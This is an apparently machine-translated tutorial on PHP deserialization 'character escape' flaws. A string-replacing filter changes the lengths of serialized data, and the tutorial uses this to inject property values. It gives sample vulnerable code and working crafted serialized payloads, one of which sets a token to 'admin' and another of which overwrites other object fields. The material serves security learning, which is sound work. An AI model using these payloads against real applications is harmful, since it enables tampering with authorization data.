The essence of character escape is that the character length changes after replacement.
There are two situations: ① the character length increases after replacement; ② the character length decreases after replacement
Exploit: indirectly modifying the value of an attribute
① The string length increases after replacement
Sample code
class message{ public $from; public $msg; public $to; public $token='user'; public function __construct(){ $this->from = 'fuck'; $this->msg = 1; $this->to = 1; } } function filter($a){ return str_replace('fuck','admin',$a); } $u=serialize(new message()); $us=filter($u); echo $u; echo $us; #$a='O:7:"message":4:{s:4:"from";s:265:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:3:"msg";i:1;s:2:"to";i:1;s:5:"token";s:5:"admin";}";s:3:"msg";i:1;s:2:"to";i:1;s:5:"token";s:4:"user";}'; var_dump(unserialize($a));
What can you do with a character escape vulnerability? Can be used to indirectly modify the property values of other properties.
Before replacement: O:7:"message":4:{s:4:"from";s:4:"fuck";s:3:"msg";i:1;s:2:"to";i:1;s:5:"token";s:4:"user";} After replacement: O:7:"message":4:{s:4:"from";s:4:"admin";s:3:"msg";i:1;s:2:"to";i:1;s:5:"token";s:4:"user";}
During deserialization, php will read the following characters according to the specified character length. If the specified length s is wrong, deserialization will fail. After the replacement, the original four characters of fuck become five characters in length, which escapes one character.
To change the value of token to admin, we need to deserialize the following statement. This is constructed by ourselves. If we execute our own construction, the original will be discarded. Because the php deserialization process ends with ";}.
";s:3:"msg";i:1;s:2:"to";i:1;s:5:"token";s:5:"admin";}
The length is 53. Each fuck can escape one character. It takes 53 fucks to escape 53
O:7:"message":4:{s:4:"from";s:265:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:3:"msg";i:1;s:2:"to";i:1;s:5:"token";s:5:"admin";}";s:3:"msg";i:1;s:2:"to";i:1;s:5:"token";s:4:"user";}
53 admin s, with a length of 265, read ";} end the deserialization process, and the following"; s:3:"msg";i:1;s:2:"to";i:1;s:5:"token";s:4:"user";} Will be discarded.
Deserialize and successfully change the value of token to admin.
The length of the string after replacement is reduced
Sample code
class myfile{ public $nama='lujiu'; public $text='fuck'; public $date='www'; } function filter($code){ return str_replace('lujiu','',$code); } $a=new myfile(); $b=serialize($a); echo $b; echo '</br>'; $c=filter($b); echo $c;
filter front O:6:"myfile":3:{s:4:"nama";s:5:"lujiu";s:4:"text";s:4:"fuck";s:4:"date";s:3:"www";} filter after O:6:"myfile":3:{s:4:"nama";s:5:"";s:4:"text";s:4:"fuck";s:4:"date";s:3:"www";}
When reading s:5: "", the length is 5. Theoretically, "; s:4" will be used as the attribute value of attribute name, but there is no "so the deserialization will report an error.
How to fill in the filtered characters and construct our payload on the next attribute $text of the $name attribute, we can indirectly modify the values of other attributes.
payload:
class myfile{ public $nama='lujiulujiulujiulujiulujiu'; public $text='fuckaa";s:4:"text";s:7:"fuckyou";s:4:"date";s:3:"aaa";}'; public $date='www'; } function filter($code){ return str_replace('lujiu','',$code); } $a=new myfile(); $b=serialize($a); echo $b; echo '</br>'; $c=filter($b); echo $c; var_dump(unserialize($c));
After deserialization
Successfully modified the values of the text attribute and date attribute.
Why should public $text ='fuckaa '; s: 4: "text"; s: 7: "fuckyou"; s: 4: "date"; s: 3: "AAA";}'; add fuckaa?
Look here
O:6:"myfile":3:{s:4:"nama";s:25:"";s:4:"text";s:55:"fuckaa";s:4:"text";s:7:"fuckyou";s:4:"date";s:3:"aaa";}";s:4:"date";s:3:"www";}
fuckaa is added to round up the number of words. There are enough 25 characters. These six characters can be added at will.